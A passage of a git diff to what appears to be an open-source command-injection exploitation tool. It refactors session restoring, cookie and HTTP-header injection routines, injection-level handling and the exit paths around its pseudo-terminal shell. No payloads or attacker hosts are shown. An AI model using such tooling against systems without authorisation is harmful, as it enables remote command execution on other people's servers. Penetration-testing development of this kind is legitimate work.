checks.tamper_scripts(stored_tamper_scripts=False) settings.CHECKING_PARAMETER = "" - if not header_name == settings.COOKIE and not the_type == "HTTP header": + settings.TESTABLE_PARAMETER = check_parameter + if not header_name == settings.COOKIE and not the_type == "HTTP Header": settings.CHECKING_PARAMETER = checks.check_http_method(url) settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML] if header_name == settings.COOKIE : @@ -314,10 +345,11 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST: settings.CHECKING_PARAMETER = "(custom) " + settings.CHECKING_PARAMETER - - info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - + + if not settings.LOAD_SESSION: + info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." @@ -359,7 +391,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Procced with file-based semiblind command injection technique, # once the user provides the path of web server's root directory. - if menu.options.web_root and not settings.SESSION_APPLIED_TECHNIQUES and not "f" in menu.options.tech: + if menu.options.web_root and settings.USER_APPLIED_TECHNIQUE and not "f" in menu.options.tech: if not menu.options.web_root.endswith("/"): menu.options.web_root = menu.options.web_root + "/" if checks.procced_with_file_based_technique(): @@ -376,54 +408,65 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time warn_msg += settings.CHECKING_PARAMETER warn_msg += " does not seem to be injectable." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) + else: + if settings.LOAD_SESSION: + checks.quit(filename, url, _ = False) if not settings.CHECK_BOTH_OS: break """ -Inject HTTP headers (User-agent / Referer / Host) (if level > 2). +Perform checks over custom HTTP Headers parameters. +""" +def custom_headers_checks(url, http_request_method, filename, timesec): + # # Disable Cookie Injection + # settings.COOKIE_INJECTION = None + + for name in range(len(settings.CUSTOM_HEADERS_NAMES)): + if settings.ASTERISK_MARKER in settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1] and not settings.CUSTOM_INJECTION_MARKER: + settings.CUSTOM_HEADER_INJECTION = False + else: + settings.CUSTOM_HEADER_INJECTION = True + settings.CUSTOM_HEADER_NAME = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[0] + settings.HTTP_HEADER = check_parameter = header_name = settings.CUSTOM_HEADER_NAME.lower() + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(check_parameter) if check_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.CUSTOM_HEADER_VALUE = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1].replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.CUSTOM_HEADER_INJECTION = False + settings.CUSTOM_HEADERS_NAMES[name] = checks.remove_tags(settings.CUSTOM_HEADERS_NAMES[name]) + settings.CUSTOM_HEADER_INJECTION = False + +""" +Inject HTTP headers parameters (User-agent / Referer / Host). """ def http_headers_injection(url, http_request_method, filename, timesec): - # Disable Cookie Injection - settings.COOKIE_INJECTION = None def user_agent_injection(url, http_request_method, filename, timesec): user_agent = menu.options.agent - if not menu.options.shellshock: - menu.options.agent = menu.options.agent + settings.INJECT_TAG settings.USER_AGENT_INJECTION = True - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT - settings.HTTP_HEADER = header_name[1:].replace("-", "").lower() - check_for_stored_sessions(url, http_request_method) - if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.HTTP_HEADER = check_parameter = header_name = settings.USER_AGENT.lower() + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec): settings.USER_AGENT_INJECTION = None menu.options.agent = user_agent def referer_injection(url, http_request_method, filename, timesec): referer = menu.options.referer - if not menu.options.shellshock: - if menu.options.referer is None: - menu.options.referer = _urllib.parse.urljoin(url, _urllib.parse.urlparse(url).path) - menu.options.referer = menu.options.referer + settings.INJECT_TAG settings.REFERER_INJECTION = True - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.REFERER - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.REFERER_INJECTION = False - menu.options.agent = referer + settings.HTTP_HEADER = check_parameter = header_name = settings.REFERER.lower() + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.REFERER_INJECTION = None + menu.options.referer = referer def host_injection(url, http_request_method, filename, timesec): host = menu.options.host - if menu.options.host is None: - menu.options.host = _urllib.parse.urlparse(url).netloc - menu.options.host = menu.options.host + settings.INJECT_TAG settings.HOST_INJECTION = True - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.HOST - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.HOST_INJECTION = False + settings.HTTP_HEADER = check_parameter = header_name = settings.HOST.lower() + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + if check_parameter != header_name and not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.HOST_INJECTION = None menu.options.host = host if not any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)) and \ @@ -450,26 +493,34 @@ def host_injection(url, http_request_method, filename, timesec): host_injection(url, http_request_method, filename, timesec) """ -Check for stored injections on User-agent / Referer headers (if level > 2). +Inject Cookie parameters """ -def stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec): +def cookie_injection(url, http_request_method, filename, timesec): + if not menu.options.cookie: + check_parameter = settings.COOKIE.lower() + check_for_stored_sessions(url, check_parameter, http_request_method) - for check_parameter in settings.HTTP_HEADERS: - settings.HTTP_HEADER = check_parameter - if check_for_stored_sessions(url, http_request_method): - if check_parameter == settings.REFERER: - menu.options.referer = settings.INJECT_TAG - settings.REFERER_INJECTION = True - elif check_parameter == settings.HOST.lower(): - menu.options.host= settings.INJECT_TAG - settings.HOST_INJECTION = True - else: - menu.options.agent = settings.INJECT_TAG - settings.USER_AGENT_INJECTION = True - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + cookie = menu.options.cookie + if cookie: + settings.COOKIE_INJECTION = True + # Cookie Injection + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE + settings.HTTP_HEADER = header_name[1:].lower() + cookie_parameters = parameters.do_cookie_check(menu.options.cookie) + if type(cookie_parameters) is str: + cookie_parameters_list = [] + cookie_parameters_list.append(cookie_parameters) + cookie_parameters = cookie_parameters_list + # Remove whitespaces + cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] + do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) + + if settings.COOKIE_INJECTION: + # Restore cookie value + menu.options.cookie = cookie + # Disable cookie injection + settings.COOKIE_INJECTION = False - if not settings.LOAD_SESSION: - http_headers_injection(url, http_request_method, filename, timesec) """ Perform the injection proccess @@ -487,15 +538,14 @@ def define_check_parameter(found, i, url): menu.options.cookie = found[i] check_parameter = parameters.specify_cookie_parameter(found[i]) return url, check_parameter - + # Check if multiple parameters check_parameters = [] for i in range(0, len(found)): url, check_parameter = define_check_parameter(found, i, url) check_parameters.append(check_parameter) - checks.testable_parameters(url, check_parameters, header_name) - + for i in range(0, len(found)): url, check_parameter = define_check_parameter(found, i, url) if check_parameter != found[i] and check_parameter not in settings.SKIP_PARAMETER: @@ -507,8 +557,7 @@ def define_check_parameter(found, i, url): for check_parameter in check_parameters: if settings.TESTABLE_PARAMETERS_LIST.count(check_parameter) != 0: url, check_parameter = define_check_parameter(found, counter, url) - # Check for session file - check_for_stored_sessions(url, http_request_method) + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) counter += 1 break @@ -517,46 +566,18 @@ def define_check_parameter(found, i, url): for check_parameter in check_parameters: if settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.count(check_parameter) != 0: url, check_parameter = define_check_parameter(found, counter, url) - # Check for session file - check_for_stored_sessions(url, http_request_method) + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) counter += 1 break else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + if not (check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST and not settings.CUSTOM_INJECTION_MARKER): + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) else: - # Check for session file - check_for_stored_sessions(url, http_request_method) + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) -""" -Cookie injection -""" -def cookie_injection(url, http_request_method, filename, timesec): - - cookie_value = menu.options.cookie - if cookie_value: - settings.COOKIE_INJECTION = True - # Cookie Injection - header_name = settings.SINGLE_WHITESPACE + settings.COOKIE - settings.HTTP_HEADER = header_name[1:].lower() - cookie_parameters = parameters.do_cookie_check(menu.options.cookie) - if type(cookie_parameters) is str: - cookie_parameters_list = [] - cookie_parameters_list.append(cookie_parameters) - cookie_parameters = cookie_parameters_list - # Remove whitespaces - cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] - do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) - - if settings.COOKIE_INJECTION: - # Restore cookie value - menu.options.cookie = cookie_value - # Disable cookie injection - settings.COOKIE_INJECTION = False - """ Check if HTTP Method is GET. """ @@ -595,10 +616,9 @@ def post_request(url, http_request_method, filename, timesec): Perform GET / POST parameters checks """ def data_checks(url, http_request_method, filename, timesec): - settings.COOKIE_INJECTION = None - settings.HTTP_HEADERS_INJECTION = False settings.CUSTOM_HEADER_INJECTION = False + init_cookie_injection_status() if settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: if post_request(url, http_request_method, filename, timesec) is None: if not settings.SKIP_NON_CUSTOM: @@ -629,22 +649,6 @@ def headers_checks(url, http_request_method, filename, timesec): if not settings.SKIP_NON_CUSTOM: http_headers_injection(url, http_request_method, filename, timesec) -""" -Perform checks over custom HTTP Headers parameters. -""" -def custom_headers_checks(url, http_request_method, filename, timesec): - for _ in settings.CUSTOM_HEADERS_NAMES: - if settings.CUSTOM_INJECTION_MARKER_CHAR in _.split(": ")[1] and not settings.CUSTOM_INJECTION_MARKER: - settings.CUSTOM_HEADER_INJECTION = False - else: - settings.CUSTOM_HEADER_NAME = _.split(": ")[0] - settings.CUSTOM_HEADER_VALUE = _.split(": ")[1].replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.CUSTOM_HEADER_INJECTION = False - """ Perform checks """ @@ -675,11 +679,10 @@ def perform_checks(url, http_request_method, filename): pass if menu.options.shellshock: - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + settings.INJECTION_LEVEL = settings.HTTP_HEADER_INJECTION_LEVEL else: - if menu.options.level != settings.DEFAULT_INJECTION_LEVEL and settings.CUSTOM_INJECTION_MARKER != True: - menu.options.level = settings.USER_SUPPLIED_LEVEL - check_for_stored_levels(url, http_request_method) + if settings.INJECTION_LEVEL != settings.DEFAULT_INJECTION_LEVEL and settings.CUSTOM_INJECTION_MARKER != True: + settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL _ = True if settings.CUSTOM_INJECTION_MARKER: @@ -692,7 +695,9 @@ def perform_checks(url, http_request_method, filename): headers_checks(url, http_request_method, filename, timesec) if settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS: custom_headers_checks(url, http_request_method, filename, timesec) - if settings.TESTABLE_PARAMETERS_LIST or (settings.USER_DEFINED_POST_DATA and not settings.INJECTION_MARKER_LOCATION.DATA) or (settings.USER_DEFINED_URL_DATA and not settings.INJECTION_MARKER_LOCATION.URL): + # if settings.TESTABLE_PARAMETERS_LIST or (settings.USER_DEFINED_POST_DATA and not settings.INJECTION_MARKER_LOCATION.DATA) or (settings.USER_DEFINED_URL_DATA and not settings.INJECTION_MARKER_LOCATION.URL): + # if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.URL or not settings.INJECTION_MARKER_LOCATION.DATA: + if settings.TESTABLE_PARAMETERS_LIST or len(settings.USER_DEFINED_POST_DATA) != 0 and any((settings.INJECTION_MARKER_LOCATION.URL, settings.INJECTION_MARKER_LOCATION.DATA)): checks.process_non_custom() if not settings.SKIP_NON_CUSTOM: @@ -700,10 +705,12 @@ def perform_checks(url, http_request_method, filename): if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.URL or not settings.INJECTION_MARKER_LOCATION.DATA: data_checks(url, http_request_method, filename, timesec) if _: - if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.COOKIE and menu.options.level >= settings.COOKIE_INJECTION_LEVEL and menu.options.cookie: + if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.COOKIE and settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL: + # if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.COOKIE and settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL: settings.COOKIE_INJECTION = True cookies_checks(url, http_request_method, filename, timesec) - if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and menu.options.level > settings.COOKIE_INJECTION_LEVEL: + if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL: + # if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL: settings.HTTP_HEADERS_INJECTION = True headers_checks(url, http_request_method, filename, timesec) @@ -736,19 +743,16 @@ def do_check(url, http_request_method, filename): perform_checks(url, http_request_method, filename) # All injection techniques seems to be failed! - if not settings.INJECTION_CHECKER: - if settings.TESTABLE_PARAMETERS and len(settings.CUSTOM_HEADERS_NAMES) == 0 : + if not settings.INJECTION_CHECKER and not settings.LOAD_SESSION: + if settings.NOT_TESTABLE_PARAMETERS: err_msg = "All testable parameters you provided are not present within the given request data." else: - err_msg = "All tested parameters " - if menu.options.level > settings.COOKIE_INJECTION_LEVEL: - err_msg += "and HTTP headers " - err_msg += "appear to be not injectable." - if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : + err_msg = "All tested parameters do not appear to be injectable." + if settings.INJECTION_LEVEL < settings.HTTP_HEADER_INJECTION_LEVEL : err_msg += " Try to increase value for '--level' option" err_msg += " if you wish to perform more tests." - if settings.USER_SUPPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: - err_msg += " Rerun without providing the option " + if settings.USER_APPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: + err_msg += " You can try to rerun without providing the option " if not settings.SKIP_TECHNIQUES : err_msg += "'--technique'." else: diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 70fd769800..c9c2325528 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -48,14 +48,6 @@ def exit_handler(no_result): else : settings.print_data_to_stdout(settings.END_LINE.CR) -""" -Reset tests -""" -def reset_tests(url, timesec, filename, http_request_method, injection_type, technique): - settings.RESET_TESTS = False - from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type=settings.INJECTION_TYPE.RESULTS_BASED_CI, technique=settings.INJECTION_TECHNIQUE.CLASSIC) - """ Delete previous shells outputs. """ @@ -103,7 +95,7 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, if cmd.lower() == "quit" or cmd.lower() == "exit": if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) - raise SystemExit() + checks.quit(filename, url, _ = False) go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: break @@ -154,7 +146,7 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, elif gotshell in settings.CHOICE_QUIT: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) - raise SystemExit() + checks.quit(filename, url, _ = False) else: common.invalid_option(gotshell) pass @@ -206,7 +198,8 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads - checks.testing_technique_title(injection_type, technique) + if not settings.LOAD_SESSION: + checks.testing_technique_title(injection_type, technique) prefixes = settings.PREFIXES suffixes = settings.SUFFIXES @@ -223,25 +216,22 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t settings.EXPLOITATION_PHASE = False # If a previous session is available. exec_time_statistic = [] - if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): + if settings.LOAD_SESSION and session_handler.export_injection_points(url, technique, injection_type, http_request_method): try: + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.export_injection_points(url, technique, injection_type, http_request_method) if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: settings.TIME_BASED_STATE = True elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: settings.TEMPFILE_BASED_STATE = True + OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT cmd = shell = "" - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_EXEC_TIME = exec_time settings.FOUND_DIFF = exec_time - timesec - if settings.TEMPFILE_BASED_STATE: - OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT + possibly_vulnerable = True except TypeError: checks.error_loading_session_file() - if settings.RESET_TESTS: - reset_tests(url, timesec, filename, http_request_method, injection_type, technique) - if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator @@ -270,7 +260,7 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t payload = payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) vuln_parameter = "" - exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) # Statistical analysis in time responses. exec_time_statistic.append(exec_time) @@ -314,7 +304,7 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t settings.FOUND_EXEC_TIME = exec_time settings.FOUND_DIFF = exec_time - timesec if false_positive_warning: - time.sleep(1) + time.sleep(timesec) randv1 = random.randrange(0, 4) randv2 = random.randrange(1, 5) randvcalc = randv1 + randv2 @@ -390,9 +380,6 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t else: percent = ".. (" + str(float_percent) + "%)" settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - # Print logs notification message - logs.logs_notification(filename) - #raise else: percent = ".. (" + str(float_percent) + "%)" break @@ -400,18 +387,16 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t # Yaw, got shellz! # Do some magic tricks! if checks.time_relative_shell(url_time_response, exec_time, timesec): - if (len(TAG) == output_length) and \ - (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): + if (len(TAG) == output_length) and (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == settings.INJECTION_LEVEL): found = True no_result = False - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) # Export session if not settings.LOAD_SESSION: shell = "" - session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=menu.options.level) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) + session_handler.import_injection_points(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=settings.INJECTION_LEVEL) else: whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: OUTPUT_TEXTFILE = "" # Check for any enumeration options. @@ -449,8 +434,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec next_attack_vector = False export_injection_info = False timesec = checks.time_relative_timesec(timesec) - checks.testing_technique_title(injection_type, technique) - + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: try: import html @@ -481,11 +465,12 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec separators = settings.SEPARATORS if not settings.LOAD_SESSION: + checks.testing_technique_title(injection_type, technique) if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: url_time_response = 0 tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - + + TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) i = 0 total = len(settings.WHITESPACES) * len(prefixes) * len(suffixes) * len(separators) for whitespace in settings.WHITESPACES: @@ -498,11 +483,11 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. - if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): + if settings.LOAD_SESSION and session_handler.export_injection_points(url, technique, injection_type, http_request_method): try: + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.export_injection_points(url, technique, injection_type, http_request_method) if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: settings.FILE_BASED_STATE = True - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT if re.findall(settings.DIRECTORY_REGEX,payload): @@ -510,7 +495,6 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec settings.WEB_ROOT = os.path.dirname(filepath) settings.CUSTOM_WEB_ROOT = True tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - session_handler.notification(url, technique, injection_type) elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) else: @@ -518,14 +502,10 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec settings.CLASSIC_STATE = True elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: settings.EVAL_BASED_STATE = True - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: checks.error_loading_session_file() - if settings.RESET_TESTS: - reset_tests(url, timesec, filename, http_request_method, injection_type, technique) - if not settings.LOAD_SESSION: i = i + 1 # Check for bad combination of prefix and separator @@ -558,7 +538,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec payload = payloads.decision(separator, TAG, randv1, randv2) vuln_parameter = "" - response, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: # Try target page reload (if it is required). if settings.URL_RELOAD: @@ -613,12 +593,12 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization is required to access this page: '" + settings.DEFINED_WEBROOT + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.quit(filename, url, _ = False) elif str(e.getcode()) == settings.FORBIDDEN_ERROR: err_msg = "You don't have access to this page: '" + settings.DEFINED_WEBROOT + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.quit(filename, url, _ = False) except (KeyboardInterrupt, SystemExit): if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: @@ -660,13 +640,12 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec if shell: found = True no_result = False - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) # Export session if not settings.LOAD_SESSION: - session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=menu.options.level) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) + session_handler.import_injection_points(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) else: whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False cmd = maxlen = "" if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: OUTPUT_TEXTFILE = url_time_response = "" diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index b217f4a38d..3746fd81c6 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -79,7 +79,7 @@ def time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitesp else: payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) injection_check = False if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): injection_check = True @@ -130,7 +130,7 @@ def time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitesp payload = payloads.get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) else: payload = payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) - exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) injection_check = False if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): injection_check = True @@ -203,7 +203,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques _ = cmd.split(settings.COMMENT)[0].strip() debug_msg = "Executing the '" + _ + "' command. " settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - response, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) return response response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) @@ -270,7 +270,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese else: payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - exec_time, vuln_parameter = 